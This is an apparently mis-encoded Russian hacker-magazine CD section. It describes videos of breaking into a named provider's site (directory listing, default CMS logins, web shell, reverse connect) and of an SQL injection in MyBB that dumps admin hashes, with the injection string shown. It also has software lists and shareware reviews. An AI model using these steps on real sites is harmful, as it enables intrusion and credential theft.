ìóäðåíûé, è ïðîãðàììèñò íå èñïîëüçîâàë äðóãèå àíòèîòëà-
äî÷íûå ñðåäñòâà, òî ñ ðàñïàêîâêîé ñïðàâÿòñÿ ñïåöèàëüíûå
óòèëèòû. Íàèáîëåå ïîïóëÿðíûå è ïðîâåðåííûå âðåìåíåì ýê-
çåìïëÿðû ëåæàò çäåñü � www.cracklab.ru/download/list.php?l=9.
ß íåðåäêî èñïîëüçóþ Quick Unpack è ïîëíîñòüþ èì äîâîëåí.
×òîáû îòëàæèâàåìàÿ ïðîãðàììà íå îïðåäåëèëà èñïîëüçîâà-
íèå äåáàããåðà, ðåêîìåíäóþ èñïîëüçîâàòü ñïåöèàëüíûå ïëàãè-
íû. Äëÿ OllyDBG èõ ìîæíî ñêà÷àòü ñ îôèöèàëüíîãî ñàéòà
www.ollydbg.de.
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[[ÂÂççëëîîìì ïïððîîââààééääååððàà
ààââòòîîðð ââèèääååîî:: SSaasshhiikkss]]

Ýòîò ðîëèê äåìîíñòðèðóåò ïðîíèêíîâåíèå íà íå-
êóþ ïðîâàéäåðñêóþ ìàøèíó, êîòîðàÿ ïðàêòè÷åñ-
êè íàãëóõî çàôèëüòðîâàíà ôàéðîì. Ïåðâûì äå-
ëîì, íàø ãåðîé çàõîäèò íà ñàéò è ïðèíèìàåòñÿ
èçó÷àòü åãî ñîäåðæèìîå. Íà ïðîâåðêó ïåðâûì
ïîïàë ÷àò � êàê îêàçàëîñü, îí êðóòèòñÿ íà êàêîì-
òî ãíèëîì ïàáëèê-äâèæêå, ñîðöû êîòîðîãî ìîæíî
áåç ïðîáëåì íàéòè íà ïîðòàëå woweb.ru. ×åë ñëè-
âàåò ñîðöû ÷àòà è ñìîòðèò, ãäå ìîæíî äîáûòü
ñïèñîê åãî þçåðîâ ñ ïàðîëÿìè (âäðóã îäèí èç íèõ
îêàæåòñÿ àäìèíîì ïîðòàëà?). Þçåðû, êàê íåò-
ðóäíî äîãàäàòüñÿ, ëåæàò ðîâíûìè øòàáåëÿìè â
/data/users/, íî, ê ñîæàëåíèþ, ïðèâàòíóþ èíôó î
íèõ ïðîñìîòðåòü íåëüçÿ � âñå ôàéëû â ôîðìàòå
*.php. Õîòÿ ñàì ôàêò, ÷òî äèðó ñ þçâåðÿìè ìîæíî
ïðîñìîòðåòü, çàñòàâèë ãåðîÿ çàäóìàòüñÿ � ñóäÿ
ïî âñåìó, ôàéë .htaccess íà ñåðâåðå íå îáðàáà-
òûâàåòñÿ àïà÷åì (îòêëþ÷åíà äèðåêòèâà â
httpd.conf). Äàëåå îí çàõîäèò íà ôîðóì è òèõîíü-
êî îõðåíåâàåò. Ôîðóì, ñóäÿ ïî âñåìó, êàêîé-òî
êóñòàðíûé, ÷òî ñêîðåå âñåãî îçíà÷àåò îòñóòñòâèå
êðèòè÷åñêèõ óÿçâèìîñòåé ïîä äàííóþ âåðñèþ.
Íè÷åãî ñòðàøíîãî � çàõîäèì â ãóãëü è ââîäèì
"Software PBlang 4 exploit". Íà áàãòðàêàõ ìåëüêîì
ïðîñêàëüçûâàåò, ÷òî åñëè ñôîðìèðîâàòü çàïðîñ
âèäà http://www.example.com/êóñòàðíûé_ôîðóì/
sendpm.php?to=þçåð&subj=ëþáàÿ òåìà&num=1&orig=/
home/public_html/pblang/db/members/þçåð, òî ìîæ-
íî ïîëó÷èòü äîñòóï ê êîíôèäåíöèàëüíîé èíôå

þçåðà, â òîì ÷èñëå è ê õýøèðîâàííîìó ïàðîëþ.
Ñôîðìèðîâàâ çàïðîñ, ìýí ïûòàåòñÿ ïîëó÷èòü
ïàññ àäìèíà � mayurev'à. Íî àòàêà óñïåøíî ïðî-
âàëèâàåòñÿ ;). Ïî÷åñàâ ðåïó, õàêñîð âñïîìèíàåò,
÷òî .htaccess â ÷àòå íå îáðàáàòûâàëñÿ êàê ñëåäó-
åò. Ãëàâíûé ãåðîé ïûòàåòñÿ âíàãëóþ óâèäåòü ñî-
äåðæèìîå êàòàëîãà ñ ïîëüçîâàòåëÿìè ôîðóìà â
ïàïêå db/members. Êàê íè ñòðàííî, ïåðåä íèì
ðàçâîðà÷èâàåòñÿ äîâîëüíî òàêè íåõèëûé ñïèñîê
÷ëåíîâ (òî åñòü ìåìáåðîâ ;)), â òîì ÷èñëå è ìå-
ãààäìèíà mayurev'à. Ïðè÷åì êàæäûé þçåðñêèé
ïðîôàéë ñîäåðæèò md5-õýø ïàðîëÿ. Ê ñîæàëå-
íèþ, ïàññ îêàçûâàåòñÿ äîâîëüíî-òàêè íàðêîìà-
íñêèé, è áðóòôîðñó íèêàê íå ïîääàåòñÿ. Ïðèõî-
äèòñÿ èäòè äðóãèì ïóòåì. Ìýí âîçâðàùàåòñÿ íà
ñàéò è çàìå÷àåò, ÷òî ïóòü ê èíäåêñó âûãëÿäèò ïðè-
ìåðíî òàê: http://www.visp.com.ua/site/3/index.php. Ìåæ-
äó ïðî÷èì ìû ìîæåì ñïîêîéíî ãóëÿòü ïî âñåì
ïàïêàì, êîòîðûå ëåæàò â /site/ � õòàöåññ æå íå
âûïîëíÿåòñÿ, è îïöèÿ Indexes íå îòêëþ÷åíà ;).
Òàê âîò, â ïàïêå /site/ ëåæàò äèðû /3, /4, /5, è â
ïîñëåäíèõ äâóõ íàõîäÿòñÿ ñâåæåçàëèòûå è íåþ-
çàíûå ÑMS ZENER PHP. Â öìñ, êîíå÷íî æå, åñòü
ôîðìà àâòîðèçàöèè. Ïåðâûì äåëîì, ÷òî íóæíî
âçëîìùèêó � ïåðåéòè íà îôôñàéò ñèñòåìû è
ñêà÷àòü èñõîäíèêè, ÷òîáû íàéòè â íèõ äåôîëòíûå
ó÷åòíûå çàïèñè. Ïîëó÷èâ åå, (admin) ãåðîé âèæó-
àëõàêîâ ëîìèòñÿ â öåíòð óïðàâëåíèÿ ñàéòîì è
ïûòàåòñÿ çàëèòü íà ìàøèíó web-øåëë èëè âû-
ïîëíèòü çëîñòíûé php-êîä â ñèñòåìå. Ê åãî óäèâ-
ëåíèþ, çàïèñàòü êîä íå óäàåòñÿ � èçìåíåíèÿ íå
ñîõðàíÿþòñÿ. Àíàëîãè÷íûå äåéñòâèÿ îí ïðîâîäèò
è â ïàïêå /4 (òàì òà æå öìñ, òîëüêî ñ äðóãèì ñêè-
íîì). Ïðèçàäóìàâøèñü, ìýí ðåøèë çàéòè â ðàç-
äåë óïðàâëåíèÿ þçåðàìè. Êàê îêàçàëîñü, àäìè-
íñêèìè ïðàâàìè íàäåëåí íå þçåð admin (êàê ïî
äåôîëòó), à ó÷åòíàÿ çàïèñü mayurev (ãäå-òî ÿ óæå
åãî âèäåë). Ñàìîå èíòåðåñíîå, ÷òî ïîëüçîâàòåëþ
«ìàþðåâó» ìîæíî ïîìåíÿòü ïàðîëü. Íàø ãåðîé
òàê è ïîñòóïàåò � ëîãèíèòüñÿ ïîä «ìàþðåâîì» è
âñòàâëÿåò çëîñòíûé êîä äëÿ âûïîëíåíèÿ êîìàíä
â ðàçäåë «Ñ÷åò÷èêè» (èìåííî òàì ðíð-òýãè íå ðå-
æóòñÿ). Â ïîñëåäñòâèè, íà ìàøèíó áûë çàëèò âåá-
øåëë è ïðîèçâåäåí ðåâåðñ-êîííåêò. Äàëåå äåëî
îñòàâàëîñü çà ìàëûì � íàéòè ñèñòåìó áèëëèíãà. 

[[MMyyBBBB bbooaarrdd hhaacckkiinngg
ààââòòîîðð ââèèääååîî:: CCLLKKiilllleerr]]
Ñîâñåì íåäàâíî â áàãòðàêàõ âèñåëà íîâîñòü î
ìíîãî÷èñëåííûõ óÿçâèìîñòÿõ â ôîðóìå MyBB.
Îøèáêà òèïà sql-injection ñêðûâàëàñü â ñêðèïòå
search.php � ïåðåìåííàÿ uid íå ôèëüòðîâàëàñü

íà ïðèñóòñòâèå ëåâûõ ñèìâîëîâ, â ðåçóëüòàòå ÷å-
ãî ñòàëî âîçìîæíî âíåäðèòü ïîñòîðîííèé SQL-
çàïðîñ. Âûãëÿäåëà èíúåêöèÿ ïðèìåðíî òàê: 

search.php?action=finduser&uid=-1' UNION SELECT
uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid
,uid,uid,username,password FROM mybb_users
where usergroup=1/*

Ïîä ýòîò áàã íåèçâåñòíûìè êîäåðàìè áûë íàïèñàí
ýêñïëîéò, êîòîðûé âîçâðàùàë õàêåðó login è ìä5-õýø
àäìèíèñòðàòîðà. Äàííûé ñïëîèò áûë íàïèñàí äîñòà-
òî÷íî êîðÿâî, ïîýòîìó õàêåð ñî ñâîèì êåíòîì-êîðè-
øåì ðåøèëè ïåðåïèñàòü ñïëîèò, ñäåëàâ åãî áîëåå
óäîáíûì è ðàáîòîñïîñîáíûì (http://securityinfo.ru/www/
upload/mybb.txt). Â ýòîì âèäåî õàêåð äåìîíñòðè-
ðóåò, êàê ìîæíî â ñ÷èòàííûå ìèíóòû ñòàòü àäìè-
íîì îäíîãî èç MyBB-ôîðóìîâ. Ïðåæäå âñåãî, õà-
êåð óñòðåìëÿåòñÿ íà ïîèñêè ñâåæåé æåðòâû, ãóãë
â ýòîì íåçàìåíèìûé ïîìîùíèê. Ïîñëå ýòîãî îí
íà÷èíàåò òåñòèðîâàíèå ñâîåãî ýêñïëîéòà. Ñïëîèò
òðåáóåò óêàçàíèÿ ñëåäóþùèõ ïàðàìåòðîâ: õîñò
àòàêóåìîé æåðòâû, ïóòü ê ôîðóìó è ID  íóæíîãî
ïîëüçîâàòåëÿ (èëè id àäìèíà, òî åñòü 1). ×åðåç
íåêîòîðîå âðåìÿ ïîñëå çàïóñêà ñïëîèòà, õàêñîð
ïîëó÷àåò ëîãèí è md5-õýø ïàðîëÿ àäìèíà. Äëÿ
òîãî ÷òîáû åãî ðàñøèôðîâàòü, íóæíî áðóòèòü ïî-
ëó÷åííûé õýø. Êàêóþ ïðîãðàììó îí äëÿ ýòîãî èñ-
ïîëüçóåò, òû, ïîëàãàþ, äîãàäûâàåøüñÿ �
md5inside. Õàêåð ïðîáóåò þçàòü ñâîè ñëîâàðè, â
ðåçóëüòàòå ÷åãî ïîëó÷àåò ïîëîæèòåëüíûé ðå-
çóëüòàò. Ñàì ïîíèìàåøü, ÷òî õàêåð òåïåðü íå
òîëüêî  âçëîìùèê, à åùå è àäìèí ôîðóìà :) 
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MULTIMEDIA
1st DVD Ripper 5.1.1
ACDSee 7.0.102
Ahead DVD Ripper 2.1.1.1
AoA DVD COPY 2.3
AVI to DivX 2.1
Burnatonce 0.99.5
Cool Edit Pro 2.1
DVD-Cloner 2.50
DVD-TO-AVI 2.1
Easy CD Ripper 2.37
Easy CD-DA Extractor 8.2.1
Easy DVD Clone 3.0.5

K-Lite Codec Pack 2.53
Macromedia Flash Player 
Nero Burning Rom 6.6.0.16
SnagIt 7.2.4
Super DVD Ripper 2.39a
Tag&Rename 3.2 RC 2
VirtualDub 1.6.10 stable
Winamp 5.1
NET
&RQ 0.9.6.8
Avant Browser 10.1 build 23
Bersirc 2.2.14
BulletProof FTP 2.45

CuteFTP XP 5.0.4 Build 
eMule 0.46c
FlashFXP 3.2.0.1080 Final
FlashGet 1.71
Foxmail 5.0.800.0
GetRight 5.2d
ICQ Pro 2003b build 3916
IncrediMail Build 2068
Internet Download
Manager 4.0.6
Internet Explorer 7.0 beta
iRadio 1.4.0.402
Mail Direct 2.1.5.0
Mail Them Pro 7.2
McAfee.com SpamKiller 4.0
Miranda IM 0.4.0.1
mIRC 6.16
Mozilla Firefox 1.0.6
Mozilla Thunderbird 1.0.6
My FTP 1.3.2
Opera for Windows 8.02
PuTTY 0.58
ReGet Deluxe 4.2 Build 
SecureCRT 5.02
SecureFX 3.0.2
SMS-it 3.3.4

SocksChain 3.11.148
The Bat! Professional 3.51
X-Chat 2.4.5b

DEVELOPMENT
ActivePerl 5.8.7.813
Apache HTTP Server for
Windows 2.0.54
BulletProof FTP Server
2.4.0.31 Beta
DeDe 3.50.02.1619
DzSoft Perl Editor 5.6.0.7
Hex Workshop 4.23
Hiew 7.01
IDA PRO 4.8 demo
MySQL Administrator for
Windows 1.0.12
PHP 5.1.0 RC1 for Windows
Serv-U 6.1.0.1
W32DASM 8.94

SYSTEM
Agnitum Outpost Firewall Pro 
Anti-Keylogger Elite 1.0.0
BestCrypt 7.20.2
CryptoExpert 2005

Professional 6.20
ExeShield Deluxe 1.2.21
Kaspersky Anti-Hacker
Kaspersky Anti-Virus Personal
2006 6.0.13.183 Beta
LSDTech PrivateDisk 1.30
MacDrive 6.0.6 Beta 1
Norton AntiVirus 2006 beta
PECompact 2.64
Undelete NOW! 1.0
UPX 1.92 Beta

MISC
7-Zip 4.26 beta
EasyWord 2001
FAR Manager 1705
Inno Setup 5.1.5
MAKEMSI 05.238
MSIBuilder 2.0.0.25
Nullsoft Installation System 
Total Commander 6.53
UltraEdit-32 11.10b
WinAce 2.6.0
WinRAR 3.50
WinZip 9.0 SR1 Build 6224
Wise Installation System 9.02

MULTIMEDIA
FAudio Convert 0.2.2
Flash for Linux 0.2
MPlayer 1.0pre7try2
Ogle DVD player 0.9.2

Xine 1.0.1
XMMS 1.2.10

NET
Downloader for X 2.5.3

gFTP 2.0.18
Licq 1.3.0
MLdonkey 2.6.4
Mozilla Firefox 1.0.6
Opera 8.02

ProFTPD 1.3.0 RC2
Squid 3.0 PRE3-20050821
WU-FTPD 2.6.2
X-Chat 2.4.4
xMule 1.10.0

SYSTEM
íîâûå ÿäðà linux
bind 8.4.6
OpenSSH 4.2p1
OpenSSL 0.9.8

WINDOWS

UNIX

CD1
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Amazing Desktop v 2.0
CrazyTalk v 4.0 Media
Studio
SearchInform v 1.6
MaxiVista v 2.0
RestoreIT v 6.5
IconX v 1.1
SoftBase v 2.0
Exiland Assistant v 2.0
Shutdown Lock v 1.4
Cactus Emulator 2.0
Gaim 1.4.0 for Windows

Samurize 1.62
e-Paint 2.0.16
GX::Transcoder 2.20.2737
RC2
Mp3tag 2.32b
TrafficCompressor 0.1
Build 145
Ñîôò èç ðóáðèê

Âçëîì ïðîâàéäåðà
MyBB board hacking

][AKEP
][akep 2005 � 07 (79)

][AKEP ÑÏÅÖ
][akep Ñïåö 2005 � 07
(56)

ÆÅËÅÇÎ
Æåëåçî 07(17)

MC
Mobile Computers 07(58)

ËÓ×ØÈÅ
ÖÈÔÐÎÂÛÅ
ÊÀÌÅÐÛ
Ëó÷øèå öèôðîâûå
êàìåðû 07(10)

MAGAZINE

VISUAL HACK ++ PDF ARCHIVE

CD2
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Amazing Desktop v 2.0
Windows 9x/Me/NT/2k/XP
Size: 2649 Kb
Shareware
www.amazingdesktop.com

Ïðåäñòàâü ñåáå òàêóþ ñèòóàöèþ: òû
ðàáîòàåøü â îäíîé ïðîãðàììå, ïðè
ýòîì ïîñòîÿííî ïîñìàòðèâàÿ â îêîø-
êî äðóãîé. Êàê ñäåëàòü, ÷òîáû îêíà
ýòèõ ïðîãðàìì íå ïåðåêðûâàëè äðóã
äðóãà? Ïîäïðàâèòü ðàçìåðû îêîí
ìûøêîé? Ðàç-äðóãîé ìîæíî òàê è
ïîñòóïèòü, íî çàòåì ïîäîáíûå ìàíè-
ïóëÿöèè íà÷èíàþò âûçûâàòü ðàçäðà-
æåíèå� Íåò, ëèøü ñïåöèàëüíûé
ñîôò, àâòîìàòè÷åñêè ðàñïðåäåëÿþ-
ùèé ýêðàííîå ïðîñòðàíñòâî ìåæäó

îòêðûòûìè îêíàìè, ñïîñîáåí âûðó÷èòü â ýòîé ñèòóàöèè. Îá îäíîì ïðåäñòàâè-
òåëå äàííîé ðàçíîâèäíîñòè ÏÎ ÿ óæå òåáå êàê-òî ðàññêàçûâàë (WindowSizer,
www.windowsizer.com), íî íà äíÿõ ÿ íàòêíóëñÿ íà åùå áîëåå èíòåðåñíóþ ðàç-
ðàáîòêó � óòèëèòó Amazing Desktop. Ïîñëå çàïóñêà ýòà ïðîãà ôîðìèðóåò îò-
äåëüíûé âèðòóàëüíûé ýêðàí, êîòîðûé ðàçäåëåí íà äâå îáëàñòè � âåðõíþþ è
íèæíþþ. Â ëþáóþ èç ýòèõ îáëàñòåé ìîæíî âûâåñòè îêíî íóæíîãî òåáå ïðèëî-
æåíèÿ. Ïðè÷åì â êàæäîé îáëàñòè åñòü íåáîëüøàÿ ïàíåëü çàêëàäîê, ïîçâîëÿ-
þùàÿ ñäåëàòü ïðèâÿçêó ê äåñÿòè ðàçëè÷íûì îêíàì è ïåðåêëþ÷àòüñÿ ìåæäó
ýòèìè îêíàìè ïðàêòè÷åñêè ìãíîâåííî. Ïðîñòî? Ïðîñòî! À ÷òî â ðåçóëüòàòå? À
â ðåçóëüòàòå òû ìîæåøü, ê ïðèìåðó, ïå÷àòàòü òåêñò â Word'e (íèæíÿÿ îáëàñòü),
òî è äåëî ñâåðÿÿñü ñ òàáëèöàìè è âåá-ñàéòàìè, âûâîäèìûìè â âåðõíåé îáëàñ-
òè. Óäîáíî? Íå òî ñëîâî! Äëÿ ñåðüåçíûõ ïîëüçîâàòåëåé Amazing Desktop �
ýòà ÷èñòûé must have, ê òîìó æå àêêóðàòíî çàïðîãðàììèðîâàííûé è íàäåëåí-
íûé öåëûì ðÿäîì äîïîëíèòåëüíûõ ôèøå÷åê, ïîçâîëÿþùèõ èñïîëüçîâàòü
ïðîñòðàíñòâî ýêðàíà åùå áîëåå ýôôåêòèâíî.

CrazyTalk v 4.0 Media Studio
Windows 9x/Me/NT/2k/XP
Size: 27516 Kb
Shareware
www.reallusion.com/crazytalk

Ìîùíûé èíñòðóìåíò äëÿ îæèâëåíèÿ öèôðîâûõ ôîòîãðàôèé ëþäåé è
æèâîòíûõ. Ñàìàÿ ïîäõîäÿùàÿ ïðîãà, åñëè òåáå õî÷åòñÿ íàä êåì-íè-

áóäü ïîäøóòèòü èëè ïðèêîëîòüñÿ. Çàãîíÿåøü â CrazyTalk èñõîäíîå
èçîáðàæåíèå, óêàçûâàåøü ñ ïîìîùüþ êëþ÷åâûõ òî÷åê ìåñòîðàñïîëî-
æåíèå ãëàç, ðòà è íîñà, î÷åð÷èâàåøü îâàë ëèöà è ìîæåøü ïðèñòóïàòü
ê ñâîáîäíîìó òâîð÷åñòâó. Ïîëåò òâîåé ôàíòàçèè ïðàêòè÷åñêè íè÷åì
íå îãðàíè÷åí! Âî-ïåðâûõ, òû ìîæåøü çàñòàâèòü ëèöî íà ôîòêå ïðîèç-
íîñèòü íóæíóþ òåáå ðå÷ü, âïîëíå ïðàâäîïîäîáíî, øåâåëÿ ïðè ýòîì ãó-
áàìè. Âî-âòîðûõ, ñïåöèàëüíûé áëîê ýìîöèé CrazyTalk ïîìîæåò òåáå
ñäåëàòü òàê, ÷òîáû òâîé âèðòóàëüíûé ïåðñîíàæ ïî õîäó ïðîèçíåñåíèÿ
ðå÷è â íóæíûõ ìåñòàõ óëûáàëñÿ, õìóðèëñÿ èëè êîð÷èë ðîæè. Â-òðåòü-
èõ, ïîñêîëüêó èñõîäíàÿ êàðòèíêà çà÷àñòóþ íå äàåò äîñòàòî÷íîé èí-
ôîðìàöèè äëÿ ôîðìèðîâàíèÿ ïðàâäîïîäîáíûõ ìîäåëåé çóáîâ è ãëàç,
ïðîãðàììà åùå íà íà÷àëüíîé ñòàäèè ïðåäëàãàåò òåáå îáðàòèòüñÿ â
ñïåöèàëüíóþ áèáëèîòåêó «ïðîòåçîâ» (ñðåäè êîòîðûõ, íàäî ñêàçàòü,
åñòü è íà ðåäêîñòü îðèãèíàëüíûå èçäåëèÿ :)). Êîíå÷íûé ðåçóëüòàò ýêñ-
ïåðèìåíòîâ ïî ïåðâîìó òâîåìó òðåáîâàíèþ çàïèñûâàåòñÿ â âèäåî-
ôàéë çàäàííîãî ôîðìàòà. Êñòàòè, åùå ðàç õî÷ó îòìåòèòü, ÷òî, íåñ-
ìîòðÿ íà âñþ íåñåðüåçíîñòü èäåè, ïðîãðàììó CrazyTalk íèêàê íåëüçÿ
îáâèíèòü â ïðèìèòèâíîñòè. Íàîáîðîò, åå èíñòðóìåíòû íàñòîëüêî
ñåðüåçíû è ïðîäóìàíû, ÷òî ñ èõ ïîìîùüþ ìîæíî ôîðìèðîâàòü ëþáûå
äâèæåíèÿ âèðòóàëüíîãî ïåðñîíàæà � îò èçìåíåíèÿ íàïðàâëåíèÿ
âçãëÿäà äî ëåãêîãî ïîæàòèÿ ïëå÷.

SearchInform v 1.6
Windows 9x/Me/NT/2k/XP
Size: 2957 Kb
Shareware
www.searchinform.com

Ëîêàëüíûõ ïîëíîòåêñòîâûõ ïîèñêîâûõ ñèñòåì ñåé÷àñ ïîÿâèëîñü âèäè-
ìî-íåâèäèìî. À Microsoft, Google è Yahoo! ñîîòâåòñòâóþùèå ðàçðàáîòêè
óæå äàæå äàðîì ðàçäàþò � ÷èñòî â ðåêëàìíûõ öåëÿõ! Íî âîò áåäà, ýòè
ðàçðàáîòêè â íàøåé ñòðàíå, íå ñìîòðÿ íà ñâîþ õàëÿâíîñòü, îñîáîé ïî-
ïóëÿðíîñòüþ íå ïîëüçóþòñÿ. Ó íàñ âåäü ê ïîäîáíîãî ðîäà ïðîãàì òðåáî-
âàíèÿ äîâîëüíî æåñòêèå. Íàì âåäü ïîääåðæêó öåëîãî ðÿäà àëüòåðíàòèâ-
íûõ êîäèðîâîê ïîäàâàé, äà è ïîèñê ñ ó÷åòîì ìîðôîëîãèè ðóññêîãî ÿçû-
êà âåñòè òðåáóåòñÿ. À òàêèìè ñïîñîáíîñòÿìè îáû÷íî îáëàäàþò ëèøü
ïðîäóêòû îòå÷åñòâåííîãî ïðîèçâîäñòâà. Âîò, ê ïðèìåðó, ïðîãðàììà
SearchInform óêàçàííûìè ñïîñîáíîñòÿìè íàäåëåíà â ïîëíîé ìåðå. Áî-
ëåå òîãî, ñåé÷àñ åå ðàçðàáîò÷èêè èñïîëíèëè äàâíþþ ìå÷òó âñåõ ðóññêî-
ÿçû÷íûõ ïîëüçîâàòåëåé � íàó÷èëè ñâîå òâîðåíèå èíäåêñèðîâàòü ïî÷òî-
âûå áàçû íå òîëüêî ìåëêî-ìÿãêîãî Outlook'à, íî è ãîðàçäî áîëåå ïîïó-
ëÿðíîãî ó íàñ ìåéëåðà The Bat!. ß ñàì â ïîëíîì âîñòîðãå îò òàêîé ôè-

SHAROWAREZ
M.J.Ash
(m.j.ash@real.xakep.ru)
SideX 
(sidex@real.xakep.ru)

UNIXWAREZ
Äìèòðèé Øóðóïîâ 
(www.nixp.ru)

][TOOLs
Ñòåïàí Èëüèí aka Step
(step@gameland.ru)

SharowareZ
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øå÷êè, ïîñêîëüêó ó ìåíÿ òåïåðü
àáñîëþòíî âñå äîêóìåíòû ëîïàòèò
îäèí-åäèíñòâåííûé ïîèñêîâûé ìå-
õàíèçì.  Â ïîëüçó SearchInform
òàêæå ãîâîðèò âûñîêàÿ ñêîðîñòü
èíäåêñèðîâàíèÿ, íåáîëüøîé ðàç-
ìåð èíäåêñà, ïîääåðæêà ïðàêòè-
÷åñêè âñåõ ðàñïðîñòðàíåííûõ ôîð-
ìàòîâ òåêñòîâûõ ôàéëîâ (âêëþ÷àÿ
doc, pdf, html, òýãîâ mp3 è avi), êîð-
ðåêòíàÿ ðàáîòà ñ àðõèâàìè è âîç-
ìîæíîñòü ïîèñêà äîêóìåíòîâ ñ îï-

ðåäåëåííûìè àòðèáóòàìè (ïî ðàçìåðó ôàéëà, ïî òåìå ïèñüìà, ïî ñèìâî-
ëàì, ñîäåðæàùèìñÿ â íàçâàíèè è òàê äàëåå). Â îáùåì, SearchInform íàäî
êà÷àòü è þçàòü. Òåì áîëåå, ÷òî äëÿ âñåõ ëþáèòåëåé õàëÿâû íàøè ðàçðàáîò-
÷èêè, ñëåäóÿ îáùåìèðîâûì âåÿíüÿì, ïîäãîòîâèëè åùå è àáñîëþòíî áåñï-
ëàòíóþ âåðñèþ SearchInform, ïóñòü è ñëåãêà ôóíêöèîíàëüíî óðåçàííóþ.

MaxiVista v 2.0
Windows 2k/XP
Size: 1834 Kb
Shareware
www.maxivista.com

Äàâíî õîòåë ïîïðîáî-
âàòü, íàñêîëüêî ýòî êðó-
òî � ðàáîòàòü íà äâóõ
ìîíèòîðàõ ñðàçó. Ê ñî-
æàëåíèþ, âòîðîé ìîíè-
òîð è äîïîëíèòåëüíóþ
âèäåîêàðòó ÿ äî ñèõ ïîð
ñåáå òàê è íå êóïèë. Íî
ÿ íå ðàññòðàèâàþñü.
Îñîáåííî ñåé÷àñ, êîãäà
óçíàë î ñóùåñòâîâàíèè
ñîôòà, ïîçâîëÿþùåãî
èñïîëüçîâàòü â êà÷åñò-
âå äîïîëíèòåëüíîãî ìî-
íèòîðà ëþáîé íîóòáóê.
Íàçûâàåòñÿ ýòîò ñîôò
MaxiVista. Äëÿ ïåðåäà÷è
âèäåîäàííûõ MaxiVista
èñïîëüçóåò íå âèäåîêàáåëü, à ñåòåâîå ñîåäèíåíèå ìåæäó êîìïüþòåðàìè.
Ïðè÷åì � ÿ ïðîâåðèë � ýòà ñèñòåìà è â ñàìîì äåëå ïðåêðàñíî ðàáîòàåò!
Âèíäû äàæå íå çàìå÷àþò õèòðîñòè � ïðîñòî â ñâîéñòâàõ ýêðàíà ó òåáÿ ïî-
ÿâëÿåòñÿ åùå îäèí äîïîëíèòåëüíûé ìîíèòîð! 
×òî ìîæíî ñêàçàòü ñðàçó î ðàáîòå íà äâóõ ìîíèòîðàõ? Ðàçóìååòñÿ, êëàñ-
ñíî! Îñîáåííî, åñëè òåáå ïî õîäó äåëà ïðèõîäèòñÿ îäíîâðåìåííî îïåðè-
ðîâàòü áîëüøèì êîëè÷åñòâîì îòêðûòûõ ïðèëîæåíèé è äîêóìåíòîâ.
Êîíå÷íî, ïîñòîÿííî èñïîëüçîâàòü íîóòáóê êàê âòîðîé ìîíèòîð íå ñòîèò,
îäíàêî íåò íè÷åãî ïëîõîãî, åñëè òû áóäåøü âðåìÿ îò âðåìåíè þçàòü åãî â
ýòîì êà÷åñòâå. Ïîäêëþ÷åíèå-òî çàíèìàåò âñåãî íåñêîëüêî ñåêóíä. Â ìîåé
äîìàøíåé ñåòè MaxiVista äàæå íàñòðîéêè íå ïîòðåáîâàëà � ñàìà âñå ìè-
ãîì íàøëà! Êñòàòè, ÷òî ÿ âñå «íîóòáóê», äà «íîóòáóê». Ñ òàêèì æå óñïå-
õîì ìîæíî þçàòü äàííîå ÏÎ â îáû÷íûõ êîìïüþòåðíûõ êëàññàõ. Íó, ñàì
ïîäóìàé! Åñëè òâîé ñîñåä íå ïðèøåë � ïî÷åìó åãî êîìïüþòåð äîëæåí
ïðîñòàèâàòü? Ïîâîðà÷èâàé äèñïëåé ÷óæîé ìàøèíêè íà ñåáÿ è çàïóñêàé
MaxiVista � ïîâûøåíèå  ïðîèçâîäèòåëüíîñòè òðóäà òåáå ãàðàíòèðóåòñÿ!

RestoreIT v 6.5
Windows 2k/XP
Size: 48880 Kb
Shareware
www.farstone.com

Ðåáÿòà èç FarStone Technology ïðîäîëæàþò àäàïòèðîâàòü ñâîé ôèðìåí-
íûé ïðîäóêò äëÿ øèðîêèõ ìàññ ïîëüçîâàòåëåé. Íà ýòîò ðàç èìè áûë ïîë-
íîñòüþ ïåðåïèñàí èíòåðôåéñ óïðàâëÿþùåãî ìîäóëÿ RestoreIT, ñòàðòóþ-
ùåãî åùå äî çàãðóçêè îïåðàöèîííîé ñèñòåìû, è äîáàâëåí êðàñî÷íûé
îíëàéíîâûé help-ìóëüòèê, íàãëÿäíî îáúÿñíÿþùèé ïðèíöèïû ðàáîòû ñ
äàííûì ñîôòîì. Òàê ÷òî, åñëè òû, ïðèÿòåëü, äî ñèõ ïîð îáõîäèë
RestoreIT ñòîðîíîé, ñåé÷àñ ñàìîå âðåìÿ ýòî äåëî èñïðàâèòü. Åñëè æå îá
ýòîé êðàéíå öåííîé ïðîãå òû âîîáùå ñëûøèøü ïåðâûé ðàç, ïîçâîëü
ïðîâåñòè ìàëåíüêèé ëèêáåç.
Èòàê, RestoreIT � ýòî, ïîæàëóé, ëó÷øàÿ ñèñòåìà çàùèòû êîìïüþòåðà îò
âèðóñîâ, ïðîãðàììíûõ ñáîåâ è îøèáîê ïîëüçîâàòåëÿ. Ïîñëåäíèå íåñ-
êîëüêî ëåò èìåííî îíà îáåðåãàåò ìîè âèíäû îò ãèáåëüíûõ ïîñëåäñòâèé

íåïðåðûâíîãî òåñòèðîâàíèÿ ñàìîãî
ðàçíîîáðàçíîãî ñîôòà. Ðàáîòàåò
ïðîãà ïðîñòî, êàê âñå ãåíèàëüíîå:
òû ôèêñèðóåøü òåêóùåå ñîñòîÿíèå
ìàøèíû ïóòåì ñîçäàíèÿ êîíòðîëü-
íîé òî÷êè, à ïðîãà îòñëåæèâàåò è
ñîõðàíÿåò â çàùèùåííîì ðàçäåëå
äèñêà âñå èçìåíåíèÿ ôàéëîâîé
ñèñòåìû. Åñëè ÷òî-òî ïîéäåò íå òàê,
RestoreIT ïðîñòî âîçüìåò è âåðíåò
òâîé æåñòêèé äèñê/äèñêè â îäíî èç

ðàíåå çàôèêñèðîâàííûõ ñîñòîÿíèé. Àêòèâèðóåòñÿ/äåàêòèâèðóåòñÿ ýòà çà-
ùèòà îäíèì êëèêîì (áåç ïåðåçàãðóçêè ìàøèíû). Ðåøèë ïîèãðàòü � âûê-
ëþ÷èë, ðåñóðñû îñâîáîäèëèñü. Çàõîòåë óçíàòü, ÷òî ñäåëàåò ñ òâîåé ñèñòå-
ìîé íîâûé âèðóñ � âêëþ÷èë RestoreIT, ïðîâåðèë� Êðîìå òîãî, ïîñëåä-
